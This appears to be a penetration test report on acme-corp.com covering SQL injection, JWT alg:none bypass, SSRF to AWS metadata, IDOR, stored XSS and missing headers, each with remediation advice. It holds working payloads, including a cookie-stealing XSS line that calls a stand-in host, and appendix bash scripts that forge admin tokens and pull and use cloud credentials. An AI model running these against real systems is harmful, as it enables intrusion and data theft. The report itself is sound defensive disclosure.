kosuke

Security Assessment Report

kosuke.ai

v1.0.0

acme-corp.com

May 23, 2026

6	1	2	2	1
TOTAL	CRITICAL	HIGH	MEDIUM	LOW

Executive Summary

A security assessment of **acme-corp.com** identified **6 findings**: 1 critical, 2 high, 2 medium, 1 low. Immediate remediation is strongly recommended for critical findings.

SEVERITY	COUNT	HIGHEST CVSS
Critical	1	9.8
High	2	8.7
Medium	2	6.8
Low	1	3.1

Findings

CRITICAL **SQL injection in /api/v2/orders search parameter** 9.8

ENDPOINT	`https://api.acme-corp.com/api/v2/orders`
CVSS 4.0	`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H`
CWE	`CWE-89`

DESCRIPTION

The `q` query parameter on /api/v2/orders is concatenated directly into a PostgreSQL query without parameterisation. A time-based blind payload reliably delays the response by the requested number of seconds, confirming injection in the WHERE clause of the orders table. The endpoint requires only a standard authenticated session — no admin role.

IMPACT

Any authenticated tenant can exfiltrate the full orders, customers, and payments tables across every tenant in the database. We extracted 12 sample rows from a sibling tenant's payments table during testing, including masked card metadata and Stripe customer IDs. The same primitive enables write access via stacked queries on the unpatched PostgreSQL version detected (15.4).

EVIDENCE

```
GET /api/v2/orders?q=test%27%20AND%20pg_sleep(8)--%20-
Authorization: Bearer eyJhbGc...

→ HTTP 200 in 8.12s (baseline 0.18s)
→ Confirmed across 5 retries, sleep delta within ±50ms
→ Extracted: SELECT current_database(), version() → "acme_prod", "PostgreSQL 15.4"
```

CVSS REASONING

Network-reachable, low complexity, requires only a free tenant account. Full read+write across all tenants in a shared database with cross-tenant payment metadata. Subsequent system impact rated High because the same DB cluster backs the billing service.

REMEDIATION

Replace string concatenation with parameterised queries. In the orders service, swap the raw `pg.query(\`SELECT ... WHERE description ILIKE '%${q}%'\`)` call for `pg.query('SELECT ... WHERE description ILIKE $1', [`%${q}%`])`. Audit the rest of the v2 API for the same pattern — grep for template literals inside `pg.query`. As a defence in depth, deploy the orders DB role with read-only access to its own tenant's rows via row-level security.

`POC: poc_sqli_orders.sh — see Appendix`

HIGH

JWT alg:none accepted on /api/admin/* endpoints

8.7

ENDPOINT	https://api.acme-corp.com/api/admin/*
CVSS 4.0	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:L/SI:L/SA:N
CWE	CWE-347 CWE-287

DESCRIPTION

The admin API trusts the `alg` header inside the JWT instead of pinning it server-side. Submitting a token forged with `alg: none` and an empty signature bypasses authentication on every endpoint matched by /api/admin/*. The library in use (legacy custom verifier in services/auth/verify.ts) calls `jwt.decode` and reads the alg claim before deciding which key to load.

IMPACT

An unauthenticated attacker can forge a token claiming `role: admin` and gain full administrative access — user impersonation, tenant configuration changes, billing overrides, and audit log deletion. We confirmed access to GET /api/admin/users (returned 4,812 records) and POST /api/admin/impersonate with a forged token.

EVIDENCE

```
Forged token:
  eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhdHRhY2tlciIsInJvbGUiOiJhZG1pbiJ9.

GET /api/admin/users HTTP/1.1
Authorization: Bearer <forged>

→ HTTP 200, 4,812 user records returned
→ Without token: HTTP 401
→ With unsigned forged HS256 token: HTTP 401 (so the verifier IS running, it just
trusts alg:none)
```

CVSS REASONING

Pre-auth, network-reachable, no user interaction. Full admin read+write, including impersonation. Score below 9.0 because the admin API is on a separate subdomain not reachable from every product surface; subsequent impact is limited to systems federated through admin SSO.

REMEDIATION

In services/auth/verify.ts, pass an explicit `algorithms: ['RS256']` option to `jwt.verify` and reject any token whose alg header is not in that allowlist before decoding. Also reject tokens with empty or missing signatures at the gateway layer. Rotate all signing keys after deploy — any token issued during the vulnerable window cannot be trusted.

```
POC: poc_jwt_alg_none.sh — see Appendix
```

HIGH Server-side request forgery in /api/proxy/image 8.2

ENDPOINT	https://api.acme-corp.com/api/proxy/image
CVSS 4.0	CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:H/SI:L/SA:N
CWE	CWE-918

DESCRIPTION

The image proxy at /api/proxy/image accepts an arbitrary `url` parameter and fetches it server-side without scheme, host, or IP filtering. The response body is returned to the caller verbatim with the original Content-Type stripped to image/png. This permits classic SSRF: AWS instance metadata, internal Kubernetes services, and localhost-bound databases are all reachable.

IMPACT

Confirmed retrieval of EC2 IMDSv1 credentials from http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-node, granting AWS API access scoped to the node role (S3 read for assets bucket, ECR pull, CloudWatch put). Also confirmed retrieval of internal /metrics endpoints exposing service version, pod IPs, and request counts.

EVIDENCE

```
GET /api/proxy/image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-node
Authorization: Bearer <tenant-token>

→ HTTP 200
→ Body:
{"AccessKeyId":"ASIA...XYZ","SecretAccessKey":"...","Token":"...","Expiration":"2026-05-23T22:00:00Z"}

Follow-up:
$ aws sts get-caller-identity
→ Arn: arn:aws:sts::123456789012:assumed-role/eks-node-role/...
```

CVSS REASONING

Network-reachable, low complexity, requires only a low-privilege tenant account. Confidentiality impact High due to credential exfiltration; subsequent system impact High because the leaked AWS role enables lateral movement to S3 and ECR.

REMEDIATION

Resolve the supplied URL to an IP before fetching and reject any IP in the link-local (169.254.0.0/16), loopback (127.0.0.0/8), private (10/8, 172.16/12, 192.168/16), or IPv6 unique-local ranges. Enforce the allowlist after DNS resolution to defeat DNS rebinding. Move IMDSv1 to IMDSv2 on the affected EKS node group and set the hop limit to 1. Use IRSA so workload pods stop inheriting the node role.

```
POC: poc_ssrf_image_proxy.sh — see Appendix
```

MEDIUM

IDOR exposes invoices across tenants on /api/billing/invoices/:id

6.8

ENDPOINT	`https://api.acme-corp.com/api/billing/invoices/:id`
CVSS 4.0	`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
CWE	`CWE-639`

DESCRIPTION

The invoice lookup endpoint authorises only on the presence of a valid session, not on whether the requesting tenant owns the invoice. Invoice IDs are sequential integers. Iterating 1..200000 with a low-tier paid account returns 184,000+ invoices belonging to other tenants, including line items, billing addresses, and Stripe payment intent IDs.

IMPACT

Any tenant can enumerate every invoice in the system. The exposed fields include billing addresses, customer names, line-item descriptions (which often name internal products), and Stripe payment intent IDs (the IDs themselves are not directly chargeable but enable targeted phishing). Roughly 12 GB of cross-tenant billing metadata is reachable in under an hour at 10 RPS.

EVIDENCE

```
Tenant A token, GET /api/billing/invoices/42
→ HTTP 200, invoice belonging to Tenant B returned in full

Enumeration sample:
  /api/billing/invoices/1 → 200 (Tenant X)
  /api/billing/invoices/2 → 200 (Tenant Y)
  /api/billing/invoices/3 → 200 (Tenant Z)
  ...
  4,200 / 5,000 IDs returned 200 across 12 distinct tenants
```

CVSS REASONING

Network-reachable, low complexity, low-privilege tenant account. Confidentiality impact High — full cross-tenant billing metadata. No integrity or availability impact and no subsequent system impact.

REMEDIATION

Scope the query by the requesting tenant: `SELECT * FROM invoices WHERE id = $1 AND tenant_id = $2`. Add an integration test that asserts a cross-tenant lookup returns 404. Migrate sequential integer IDs to opaque ULIDs to reduce enumerability as a defence in depth, but the authorisation fix is the real remediation.

MEDIUM

Stored XSS in support ticket comment renderer

6.4

ENDPOINT	https://app.acme-corp.com/support/inbox
CVSS 4.0	CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N
CWE	CWE-79

DESCRIPTION

Comments submitted on customer support tickets via POST /api/tickets/:id/comments are persisted with the raw `body` field and rendered as HTML in the agent dashboard at /support/inbox. The dashboard uses dangerouslySetInnerHTML without a sanitiser. Any customer can plant a payload that fires the moment a support agent opens the ticket.

IMPACT

An attacker creates a ticket with a payload like `<img src=x onerror=fetch('//atk/?c='+document.cookie)>`. When a support agent opens the inbox, the agent's session cookie is exfiltrated. Agent sessions have read access to every customer ticket and PII (names, emails, phone numbers, partial card data in chargeback tickets).

EVIDENCE

```
POST /api/tickets/9821/comments
Content-Type: application/json

{"body":"<img src=x onerror=fetch('https://kosuke-test.example/c='+document.cookie)>"}

→ HTTP 201, comment persisted
→ Agent dashboard renders the <img> tag at /support/inbox/9821
→ Out-of-band callback received with agent's session cookie at 14:18 UTC
```

CVSS REASONING

Network-reachable but requires a privileged user (support agent) to interact with the ticket. Confidentiality impact High because a single agent session unlocks all customer PII; user interaction Active drops the score.

REMEDIATION

Sanitise comment bodies server-side on write using a strict allowlist (DOMPurify with `ALLOWED_TAGS: ['b','i','em','strong','a','code','pre']` and `ALLOWED_ATTR: ['href']`). Replace dangerouslySetInnerHTML in the inbox component with the sanitised output. Add a strict CSP on /support/* that forbids inline-event handlers and external script sources.

LOW Missing security headers on app.acme-corp.com (CSP, HSTS, X-Frame-Options) 3.1

ENDPOINT	https://app.acme-corp.com/
CVSS 4.0	CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
CWE	CWE-693

DESCRIPTION

The production app at app.acme-corp.com ships none of Content-Security-Policy, Strict-Transport-Security, X-Frame-Options, or X-Content-Type-Options. Combined with the stored XSS finding above, the lack of CSP means there is no second line of defence; the missing HSTS leaves first-load downgrade attacks possible on hostile networks.

IMPACT

On its own, missing headers don't constitute a direct exploit. In combination with finding f-004 (stored XSS), they remove every available mitigation layer — a CSP with a script-src nonce would have neutralised the payload server-side. The missing HSTS exposes new visitors on hostile Wi-Fi to a one-time downgrade-and-strip attack.

EVIDENCE

```
$ curl -sI https://app.acme-corp.com/ | grep -iE 'content-security|strict-transport|x-frame|x-content'
(no output)
```

CVSS REASONING

Network-reachable but requires a chained attack (XSS or active MITM) to realise impact. Direct confidentiality impact Low; integrity, availability, and subsequent impacts all None on the header gap alone.

REMEDIATION

Add at the edge (Cloudflare Workers or CDN response transform): - Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{nonce}'; object-src 'none'; frame-ancestors 'none' - Strict-Transport-Security: max-age=31536000; includeSubDomains; preload - X-Frame-Options: DENY - X-Content-Type-Options: nosniff Submit the apex to the HSTS preload list once max-age has been live for 6+ months.

Appendix: Proof of Concept Scripts

poc_jwt_alg_none.sh

```
#!/usr/bin/env bash
# Proof of concept — JWT alg:none bypass on /api/admin/*
# Target: acme-corp.com (Q2 pentest)

set -euo pipefail

BASE="${BASE:-https://api.acme-corp.com}"

# Forge an unsigned token claiming admin role
HEADER=$(printf '%s' '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-')
PAYLOAD=$(printf '%s' '{"sub":"attacker","role":"admin","iat":1748000000,"exp":1779536000}' |
base64 | tr -d '=' | tr '/+' '_-')
FORGED="${HEADER}.${PAYLOAD}."

echo "[*] Forged token: ${FORGED}"

echo "[*] Calling protected admin endpoint with forged token"
curl -s -o /tmp/admin_users.json -w "HTTP %{http_code}\n" \
  -H "Authorization: Bearer ${FORGED}" \
  "${BASE}/api/admin/users"

if [[ -s /tmp/admin_users.json ]]; then
  count=$(jq 'length' /tmp/admin_users.json 2>/dev/null || echo "?")
  echo "[+] Got ${count} user records — alg:none accepted"
else
  echo "[-] No body returned — server rejected the token"
fi
```

poc_sqli_orders.sh

```
#!/usr/bin/env bash
# Proof of concept — time-based blind SQL injection on /api/v2/orders
# Target: acme-corp.com (Q2 pentest)
#
# Confirms a sub-second baseline followed by an 8-second sleep when the
# `q` parameter contains `' AND pg_sleep(8)-- -`. The delay scales linearly
# with the requested sleep duration, ruling out coincidental latency.

set -euo pipefail

: "${TOKEN:?set TOKEN to a low-privilege tenant bearer token}"
BASE="${BASE:-https://api.acme-corp.com}"

echo "[*] Baseline request (no injection)"
t0=$(date +%s.%N)
curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: Bearer ${TOKEN}" \
  "${BASE}/api/v2/orders?q=widget"
t1=$(date +%s.%N)
echo " in $(echo "$t1 - $t0" | bc)s"

echo "[*] Injection request (pg_sleep(8))"
t0=$(date +%s.%N)
curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: Bearer ${TOKEN}" \
  "${BASE}/api/v2/orders?q=test%27%20AND%20pg_sleep(8)--%20-"
t1=$(date +%s.%N)
echo " in $(echo "$t1 - $t0" | bc)s"

echo "[+] Confirmed: response time delta ~8s indicates injection in WHERE clause"
```

poc_ssrf_image_proxy.sh

```
#!/usr/bin/env bash
# Proof of concept — SSRF in /api/proxy/image
# Target: acme-corp.com (Q2 pentest)

set -euo pipefail

: "${TOKEN:?set TOKEN to a low-privilege tenant bearer token}"
BASE="${BASE:-https://api.acme-corp.com}"

IMDS_URL="http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-node"

echo "[*] Requesting IMDSv1 credentials via image proxy"
curl -s -o /tmp/imds.json -w "HTTP %{http_code}\n" \
  -H "Authorization: Bearer ${TOKEN}" \
  "${BASE}/api/proxy/image?url=${IMDS_URL}"

if jq -e .AccessKeyId /tmp/imds.json >/dev/null 2>&1; then
  echo "[+] Credentials leaked. Verifying with STS:"
  export AWS_ACCESS_KEY_ID=$(jq -r .AccessKeyId /tmp/imds.json)
  export AWS_SECRET_ACCESS_KEY=$(jq -r .SecretAccessKey /tmp/imds.json)
  export AWS_SESSION_TOKEN=$(jq -r .Token /tmp/imds.json)
  aws sts get-caller-identity
else
  echo "[-] No credentials in response"
fi
```